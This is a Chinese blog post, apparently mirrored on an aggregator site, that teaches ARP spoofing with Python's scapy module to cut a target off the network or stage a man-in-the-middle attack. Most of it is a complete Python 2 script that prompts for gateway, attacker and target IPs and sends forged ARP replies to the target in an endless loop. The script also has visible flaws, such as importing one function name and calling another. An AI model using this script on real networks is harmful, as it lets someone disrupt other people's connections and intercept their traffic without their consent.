zoukankan      html  css  js  c++  java
  • python通过scapy模块进行arp断网攻击

    前言:

    想实现像arpsoof一样的工具

    arp断网攻击原理:

    通过伪造IP地址与MAC地址实现ARP欺骗,在网络发送大量ARP通信量。攻击者
    只要持续不断发送arp包就能造成中间人攻击或者断网攻击。

    0x01:

    准备工作

    Linux环境下:(windows环境下各种错误,其中有个错误是缺少windows.dll至今无法解决)
    有scapy模块
    如果没有进行安装
    py2安装方法
    pip install scapy
    py3安装方法
    pip install scapy3
    

    我们要用到scapy模块里的

    from scapy.all import (
      ARP, 
      Ether,
      sendp
    )
    from scapy.l2 import getmacip
    

    Ether是构造网络数据包

    ARP进行ARP攻击

    sendp进行发包

    代码如下:

    import os
    from scapy.l2 import getmacip
    from scapy.all import (
      ARP,
      Ether,
      sendp
    )
    ifconfig=os.system('ifconfig')
    print ifconfig
    gmac=raw_input('Please enter gateway IP:')
    liusheng=raw_input('Please enter your IP:')
    liusrc=raw_input('Please enter target IP:')
    try:
      tg=getmacbyip(liusrc)
      print tg
    except Exception , f:
        print '[-]{}'.format(f)
        exit()
    def arpspoof():
      try:
        eth=Ether()
        arp=ARP(
            op="is-at",#ARP响应
            hwsrc=gmac,#网关mac
            psrc=liusheng,#网关IP
            hwdst=tg,#目标Mac
            pdst=liusrc#目标IP
        )
        print ((eth/arp).show())
        sendp(eth/arp,inter=2,loop=1)
      except Exception ,g:
          print '[-]{}'.format(g)
          exit()
    arpspoof()
    
    运行截图

    效果图

  • 相关阅读:
    并发和并行的区别
    fiddler-打断点(bpu)
    fiddler操作
    fiddler手机抓包
    面试题1
    Linux查看日志常用命令
    HTMLTestRunner
    mysql数据库无法插入特殊字符报错
    mybatis解决属性名和数据库字段名不一致问题
    Vue路由的使用简单实例
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8367742.html
Copyright © 2011-2022 走看看